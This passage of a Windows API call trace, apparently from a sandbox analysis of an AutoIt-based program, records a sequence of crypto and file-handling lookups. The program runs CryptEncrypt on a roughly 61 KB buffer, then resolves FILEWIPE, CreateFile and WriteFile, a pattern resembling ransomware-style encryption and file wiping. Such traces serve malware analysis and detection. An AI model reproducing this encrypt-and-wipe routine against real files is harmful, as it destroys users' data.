hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.570] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.570] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.570] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.570] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.570] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.571] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.571] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xf134, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xf140) returned 1 [0023.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.571] CharLowerBuffW (in: lpsz="byte[61761]", cchLength=0xb | out: lpsz="byte[61761]") returned 0xb [0023.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.572] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.572] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.572] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.572] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.572] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41edd90*, pdwDataLen=0xe8f3dfdf68*=0xf134, dwBufLen=0xf140 | out: pbData=0xe8f41edd90*, pdwDataLen=0xe8f3dfdf68*=0xf140) returned 1 [0023.572] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.572] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.572] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.572] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.572] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.572] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.572] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.572] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.573] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.573] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.573] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.573] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.573] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.573] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.573] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.573] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.573] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.576] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.576] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.576] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.577] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.577] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.577] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.577] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.577] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.577] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0023.577] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.577] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.577] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.577] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.577] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.577] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.578] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.578] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.578] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.578] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.578] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.578] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.602] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.602] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.603] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.604] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.605] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.605] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.605] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.605] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.606] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.606] CharLowerBuffW (in: lpsz="byte[61748]", cchLength=0xb | out: lpsz="byte[61748]") returned 0xb [0023.607] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.607] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.607] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.607] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.607] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.607] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.607] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.607] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.607] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.607] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.607] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.607] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.607] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.608] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.608] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.608] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.608] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.609] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.609] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.609] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.611] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 